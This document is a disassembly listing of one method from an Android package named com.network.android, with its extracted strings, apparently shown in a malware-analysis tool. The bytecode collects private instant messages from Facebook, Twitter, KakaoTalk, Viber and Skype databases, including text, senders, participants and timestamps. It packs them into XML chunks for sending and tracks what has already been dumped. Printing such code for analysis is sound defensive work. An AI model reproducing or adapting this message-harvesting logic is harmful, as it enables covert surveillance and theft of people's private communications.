      • GetContentIM addImSingleEntryTwitter participantsNumbersSb:
      • GetContentIM addImSingleEntryTwitter iter exception-
      • kakao
      • viber
      • skype
      • GetContentIM addImEntries iter -
      • GetContentIM addImEntries index after dump:
      • , by date:
      • NetworkMessages
      • -
      • GetContentIM addImEntries NO NEW MESSAGES to send
      Position Instruction Meta Information
      0new-instance v4, Ljava/lang/StringBuilder;
      2invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      3move-object/from16 v0, p2
      5invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      6move-result-object v4
      8const-string v5, "GetContentIM addImEntries Messages count : "
      10invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      11move-result-object v4
      13invoke-interface/range {p1 .. p1}, Landroid/database/Cursor;->getCount()I
      14move-result v5
      16invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      17move-result-object v4
      19invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      20move-result-object v4
      22invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      24invoke-interface/range {p1 .. p1}, Landroid/database/Cursor;->getCount()I
      25move-result v4
      26if-lez v4, :cond_417
      27const/4 v6, 0x1
      29invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      30move-result-object v5
      31new-instance v4, Ljava/io/StringWriter;
      33invoke-direct {v4}, Ljava/io/StringWriter;-><init>()V
      35invoke-static {v5, v4}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      37const-string v7, ""
      39const-string v8, "imSession"
      41invoke-interface {v5, v7, v8}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      42goto_3a:
      43invoke-interface/range {p1 .. p1}, Landroid/database/Cursor;->moveToNext()Z
      44move-result v7
      45if-eqz v7, :cond_383
      46add-int/lit8 v15, v6, 0x1
      47try_start_42: new-instance v6, Ljava/lang/StringBuilder;
      49invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      50move-object/from16 v0, p2
      52invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      53move-result-object v6
      55const-string v7, "GetContentIM addImEntries buffer lenth: "
      57invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      58move-result-object v6
      60invoke-virtual {v4}, Ljava/io/StringWriter;->getBuffer()Ljava/lang/StringBuffer;
      61move-result-object v7
      63invoke-virtual {v7}, Ljava/lang/StringBuffer;->length()I
      64move-result v7
      66invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      67move-result-object v6
      69const-string v7, ", index: "
      71invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      72move-result-object v6
      74invoke-virtual {v6, v15}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      75move-result-object v6
      77invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      78move-result-object v6
      80invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      82invoke-virtual {v4}, Ljava/io/StringWriter;->getBuffer()Ljava/lang/StringBuffer;
      83move-result-object v6
      85invoke-virtual {v6}, Ljava/lang/StringBuffer;->length()I
      86move-result v6
      87const v7, 0x17c00
      88if-le v6, v7, :cond_449
      90const-string v6, ""
      92const-string v7, "imSession"
      94invoke-interface {v5, v6, v7}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      96invoke-static {v5}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      98invoke-virtual {v4}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
      99move-result-object v6
      100move-object/from16 v0, p0
      102invoke-static {v6, v0}, Lcom/network/android/j;->a(Ljava/lang/String;Landroid/content/Context;)V
      104invoke-static/range {p0 .. p0}, Lcom/network/android/j;->a(Landroid/content/Context;)V
      105new-instance v6, Ljava/lang/StringBuilder;
      107invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      108move-object/from16 v0, p2
      110invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      111move-result-object v6
      113const-string v7, "GetContentIM addImEntries 100k chunk buffer lenth: "
      115invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      116move-result-object v6
      118invoke-virtual {v4}, Ljava/io/StringWriter;->getBuffer()Ljava/lang/StringBuffer;
      119move-result-object v7
      121invoke-virtual {v7}, Ljava/lang/StringBuffer;->length()I
      122move-result v7
      124invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      125move-result-object v6
      127const-string v7, ", index: "
      129invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      130move-result-object v6
      132invoke-virtual {v6, v15}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      133move-result-object v6
      135invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      136move-result-object v6
      138invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      139const-wide/16 v6, 0x12c
      141invoke-static {v6, v7}, Ljava/lang/Thread;->sleep(J)V
      143invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      144try_end_c9: move-result-object v6
      145try_start_ca: new-instance v14, Ljava/io/StringWriter;
      147invoke-direct {v14}, Ljava/io/StringWriter;-><init>()V
      148try_end_cf:
      149invoke-static {v6, v14}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      151const-string v4, ""
      153const-string v5, "imSession"
      155invoke-interface {v6, v4, v5}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      156try_end_d9: move-object v4, v6
      157goto_da:
      158const-string v5, "facebook"
      159move-object/from16 v0, p2
      161invoke-virtual {v5, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      162move-result v5
      163if-eqz v5, :cond_f2
      164move-object/from16 v0, p1
      165move-object/from16 v1, p2
      166move-object/from16 v2, p4
      168invoke-static {v0, v4, v1, v2}, Lcom/network/android/p;->a(Landroid/database/Cursor;Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/util/Map;)V
      169move-object v5, v4
      170move v6, v15
      171move-object v4, v14
      172goto/16 :goto_3a
      173cond_f2:
      174const-string v5, "twitter"
      175move-object/from16 v0, p2
      177invoke-virtual {v5, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      178try_end_f9: move-result v5
      179if-eqz v5, :cond_30e
      180try_start_fc: new-instance v5, Ljava/lang/StringBuilder;
      182invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      183move-object/from16 v0, p2
      185invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      186move-result-object v5
      188const-string v6, "GetContentIM addImSingleEntryTwitter index: "
      190invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      191move-result-object v5
      193invoke-interface/range {p1 .. p1}, Landroid/database/Cursor;->getPosition()I
      194move-result v6
      196invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      197move-result-object v5
      199invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      200move-result-object v5
      202invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      204const-string v5, "text"
      205move-object/from16 v0, p4
      207invoke-interface {v0, v5}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      208move-result-object v5
      209check-cast v5, Ljava/lang/String;
      210move-object/from16 v0, p1
      212invoke-interface {v0, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      213move-result v5
      214move-object/from16 v0, p1
      216invoke-interface {v0, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      217move-result-object v6
      219const-string v5, "msg_id"
      220move-object/from16 v0, p4
      222invoke-interface {v0, v5}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      223move-result-object v5
      224check-cast v5, Ljava/lang/String;
      225move-object/from16 v0, p1
      227invoke-interface {v0, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      228move-result v5
      229move-object/from16 v0, p1
      231invoke-interface {v0, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      232move-result-object v7
      234const-string v5, "thread_id"
      235move-object/from16 v0, p4
      237invoke-interface {v0, v5}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      238move-result-object v5
      239check-cast v5, Ljava/lang/String;
      240move-object/from16 v0, p1
      242invoke-interface {v0, v5}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      243move-result v5
      244move-object/from16 v0, p1
      246invoke-interface {v0, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      247move-result-object v5
      249const-string v8, "timestamp"
      250move-object/from16 v0, p4
      252invoke-interface {v0, v8}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      253move-result-object v8
      254check-cast v8, Ljava/lang/String;
      255move-object/from16 v0, p1
      257invoke-interface {v0, v8}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      258move-result v8
      259move-object/from16 v0, p1
      261invoke-interface {v0, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      262move-result-object v8
      264const-string v9, "sender"
      265move-object/from16 v0, p4
      267invoke-interface {v0, v9}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      268move-result-object v9
      269check-cast v9, Ljava/lang/String;
      270move-object/from16 v0, p1
      272invoke-interface {v0, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      273move-result v9
      274move-object/from16 v0, p1
      276invoke-interface {v0, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      277move-result-object v11
      279const-string v9, "participants"
      280move-object/from16 v0, p4
      282invoke-interface {v0, v9}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      283move-result-object v9
      284check-cast v9, Ljava/lang/String;
      285move-object/from16 v0, p1
      287invoke-interface {v0, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      288move-result v9
      289move-object/from16 v0, p1
      291invoke-interface {v0, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      292move-result-object v12
      293const/16 v9, 0x9
      294move-object/from16 v0, p1
      296invoke-interface {v0, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      297move-result-object v9
      298const/16 v10, 0x8
      299move-object/from16 v0, p1
      301invoke-interface {v0, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      302move-result-object v10
      303const/16 v13, 0xb
      304move-object/from16 v0, p1
      306invoke-interface {v0, v13}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      307move-result-object v13
      308const/16 v16, 0xa
      309move-object/from16 v0, p1
      310move/from16 v1, v16
      312invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      313move-result-object v16
      314if-eqz v6, :cond_1ca
      316invoke-virtual {v6}, Ljava/lang/String;->length()I
      317move-result v17
      318if-nez v17, :cond_1ef
      319cond_1ca: new-instance v5, Ljava/lang/StringBuilder;
      321invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      322move-object/from16 v0, p2
      324invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      325move-result-object v5
      327const-string v6, "GetContentIM addImSingleEntryTwitter EMPTY MESSAGE -> CONTINUE: "
      329invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      330move-result-object v5
      332invoke-interface/range {p1 .. p1}, Landroid/database/Cursor;->getPosition()I
      333move-result v6
      335invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      336move-result-object v5
      338invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      339move-result-object v5
      341invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      342move-object v5, v4
      343move v6, v15
      344move-object v4, v14
      345goto/16 :goto_3a
      346cond_1ef: new-instance v17, Ljava/lang/StringBuilder;
      348invoke-direct/range {v17 .. v17}, Ljava/lang/StringBuilder;-><init>()V
      349move-object/from16 v0, v17
      350move-object/from16 v1, p2
      352invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      353move-result-object v17
      355const-string v18, "GetContentIM addImSingleEntryTwittermsg:"
      357invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      358move-result-object v17
      359move-object/from16 v0, v17
      361invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      362move-result-object v17
      364const-string v18, ", sender id:"
      366invoke-virtual/range {v17 .. v18}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      367move-result-object v17
      368move-object/from16 v0, v17
      370invoke-virtual {v0, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      371move-result-object v11
      373invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      374move-result-object v11
      376invoke-static {v11}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      377new-instance v11, Ljava/lang/StringBuilder;
      379invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
      380move-object/from16 v0, p2
      382invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      383move-result-object v11
      385const-string v17, "GetContentIM addImSingleEntryTwitter timestamp_ms:"
      386move-object/from16 v0, v17
      388invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      389move-result-object v11
      391invoke-virtual {v11, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      392move-result-object v11
      394const-string v17, ", participants id:"
      395move-object/from16 v0, v17
      397invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      398move-result-object v11
      400invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      401move-result-object v11
      403invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      404move-result-object v11
      406invoke-static {v11}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      407try_start_245: new-instance v11, Ljava/lang/StringBuilder;
      409invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
      410move-object/from16 v0, p2
      412invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      413move-result-object v11
      415const-string v12, "GetContentIM addImSingleEntryTwitter by date:"
      417invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      418move-result-object v11
      419new-instance v12, Ljava/util/Date;
      421invoke-static {v8}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      422move-result-wide v17
      423move-wide/from16 v0, v17
      425invoke-direct {v12, v0, v1}, Ljava/util/Date;-><init>(J)V
      427invoke-virtual {v12}, Ljava/util/Date;->toString()Ljava/lang/String;
      428move-result-object v12
      430invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      431move-result-object v11
      433invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      434move-result-object v11
      436invoke-static {v11}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      437try_end_270: new-instance v11, Ljava/lang/StringBuilder;
      439invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
      441invoke-virtual {v11, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      442move-result-object v11
      444const-string v12, ", "
      446invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      447move-result-object v11
      448move-object/from16 v0, v16
      450invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      451move-result-object v11
      453invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      454move-result-object v11
      455new-instance v12, Ljava/lang/StringBuilder;
      457invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
      459invoke-virtual {v12, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      460move-result-object v12
      462const-string v16, ", "
      463move-object/from16 v0, v16
      465invoke-virtual {v12, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      466move-result-object v12
      468invoke-virtual {v12, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      469move-result-object v12
      471invoke-virtual {v12}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      472move-result-object v12
      473new-instance v13, Ljava/lang/StringBuilder;
      475invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
      476move-object/from16 v0, p2
      478invoke-virtual {v13, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      479move-result-object v13
      481const-string v16, "GetContentIM addImSingleEntryTwitter participantsSb: "
      482move-object/from16 v0, v16
      484invoke-virtual {v13, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      485move-result-object v13
      487invoke-virtual {v13, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      488move-result-object v13
      490invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      491move-result-object v13
      493invoke-static {v13}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      494new-instance v13, Ljava/lang/StringBuilder;
      496invoke-direct {v13}, Ljava/lang/StringBuilder;-><init>()V
      497move-object/from16 v0, p2
      499invoke-virtual {v13, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      500move-result-object v13
      502const-string v16, "GetContentIM addImSingleEntryTwitter participantsNumbersSb: "
      503move-object/from16 v0, v16
      505invoke-virtual {v13, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      506move-result-object v13
      508invoke-virtual {v13, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      509move-result-object v13
      511invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      512move-result-object v13
      514invoke-static {v13}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      515move-object/from16 v13, p2
      517invoke-static/range {v4 .. v13}, Lcom/network/android/p;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
      518try_end_2e3: move-object v5, v4
      519move v6, v15
      520move-object v4, v14
      521goto/16 :goto_3a
      522catch_2e8: move-exception v5
      523try_start_2e9: new-instance v6, Ljava/lang/StringBuilder;
      525invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      526move-object/from16 v0, p2
      528invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      529move-result-object v6
      531const-string v7, "GetContentIM addImSingleEntryTwitter iter exception- "
      533invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      534move-result-object v6
      536invoke-virtual {v5}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      537move-result-object v7
      539invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      540move-result-object v6
      542invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      543move-result-object v6
      545invoke-static {v6, v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      546move-object v5, v4
      547move v6, v15
      548move-object v4, v14
      549goto/16 :goto_3a
      550cond_30e:
      551const-string v5, "kakao"
      552move-object/from16 v0, p2
      554invoke-virtual {v5, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      555move-result v5
      556if-eqz v5, :cond_328
      557move-object/from16 v0, p1
      558move-object/from16 v1, p2
      559move-object/from16 v2, p4
      560move-object/from16 v3, p5
      562invoke-static {v0, v4, v1, v2, v3}, Lcom/network/android/p;->a(Landroid/database/Cursor;Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/util/Map;Landroid/database/sqlite/SQLiteDatabase;)V
      563move-object v5, v4
      564move v6, v15
      565move-object v4, v14
      566goto/16 :goto_3a
      567cond_328:
      568const-string v5, "viber"
      569move-object/from16 v0, p2
      571invoke-virtual {v5, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      572move-result v5
      573if-eqz v5, :cond_340
      574move-object/from16 v0, p1
      575move-object/from16 v1, p2
      576move-object/from16 v2, p4
      578invoke-static {v0, v4, v1, v2}, Lcom/network/android/p;->b(Landroid/database/Cursor;Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/util/Map;)V
      579move-object v5, v4
      580move v6, v15
      581move-object v4, v14
      582goto/16 :goto_3a
      583cond_340:
      584const-string v5, "skype"
      585move-object/from16 v0, p2
      587invoke-virtual {v5, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      588move-result v5
      589if-eqz v5, :cond_35a
      590move-object/from16 v5, p1
      591move-object v6, v4
      592move-object/from16 v7, p2
      593move-object/from16 v8, p4
      594move-object/from16 v9, p5
      595move-object/from16 v10, p6
      596move-object/from16 v11, p7
      598invoke-static/range {v5 .. v11}, Lcom/network/android/p;->a(Landroid/database/Cursor;Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/util/Map;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;Ljava/lang/String;)V
      599cond_35a: move-object v5, v4
      600move v6, v15
      601move-object v4, v14
      602goto/16 :goto_3a
      603catch_35f: move-exception v6
      604goto_360: new-instance v7, Ljava/lang/StringBuilder;
      606invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
      607move-object/from16 v0, p2
      609invoke-virtual {v7, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      610move-result-object v7
      612const-string v8, "GetContentIM addImEntries iter - "
      614invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      615move-result-object v7
      617invoke-virtual {v6}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      618move-result-object v8
      620invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      621move-result-object v7
      623invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      624move-result-object v7
      626invoke-static {v7, v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      627move v6, v15
      628goto/16 :goto_3a
      629cond_383:
      630const-string v6, ""
      632const-string v7, "imSession"
      634invoke-interface {v5, v6, v7}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      636invoke-static {v5}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      638invoke-virtual {v4}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
      639move-result-object v4
      640move-object/from16 v0, p0
      642invoke-static {v4, v0}, Lcom/network/android/j;->a(Ljava/lang/String;Landroid/content/Context;)V
      644invoke-static/range {p0 .. p0}, Lcom/network/android/j;->a(Landroid/content/Context;)V
      646invoke-interface/range {p1 .. p1}, Landroid/database/Cursor;->moveToLast()Z
      647move-object/from16 v0, p1
      648move-object/from16 v1, p3
      650invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      651move-result v4
      652move-object/from16 v0, p1
      654invoke-interface {v0, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      655move-result-object v5
      656try_start_3aa: new-instance v4, Ljava/lang/StringBuilder;
      658invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      659move-object/from16 v0, p2
      661invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      662move-result-object v4
      664const-string v6, "GetContentIM addImEntries index after dump: "
      666invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      667move-result-object v4
      669invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      670move-result-object v4
      672const-string v6, ", by date:"
      674invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      675move-result-object v4
      676new-instance v6, Ljava/util/Date;
      678invoke-static {v5}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      679move-result-wide v7
      681invoke-direct {v6, v7, v8}, Ljava/util/Date;-><init>(J)V
      683invoke-virtual {v6}, Ljava/util/Date;->toString()Ljava/lang/String;
      684move-result-object v6
      686invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      687move-result-object v4
      689invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      690move-result-object v4
      692invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      693try_end_3dd:
      694const-string v4, "NetworkMessages"
      695const/4 v6, 0x0
      696move-object/from16 v0, p0
      698invoke-virtual {v0, v4, v6}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      699move-result-object v4
      701invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      702move-result-object v6
      703if-nez p6, :cond_3f7
      705invoke-static/range {p2 .. p2}, Lcom/network/android/h;->b(Ljava/lang/String;)Ljava/lang/String;
      706move-result-object v4
      707goto_3f0:
      708invoke-interface {v6, v4, v5}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      710invoke-interface {v6}, Landroid/content/SharedPreferences$Editor;->commit()Z
      711goto_3f6: return-void
      712cond_3f7: new-instance v4, Ljava/lang/StringBuilder;
      714invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      715move-object/from16 v0, p2
      717invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      718move-result-object v4
      720const-string v7, "-"
      722invoke-virtual {v4, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      723move-result-object v4
      724move-object/from16 v0, p6
      726invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      727move-result-object v4
      729invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      730move-result-object v4
      732invoke-static {v4}, Lcom/network/android/h;->b(Ljava/lang/String;)Ljava/lang/String;
      733move-result-object v4
      734goto/16 :goto_3f0
      735cond_417: new-instance v4, Ljava/lang/StringBuilder;
      737invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      738move-object/from16 v0, p2
      740invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      741move-result-object v4
      743const-string v5, "GetContentIM addImEntries NO NEW MESSAGES to send"
      745invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      746move-result-object v4
      748invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      749move-result-object v4
      751invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      752goto/16 :goto_3f6
      753catch_430: move-exception v4
      754goto/16 :goto_3dd
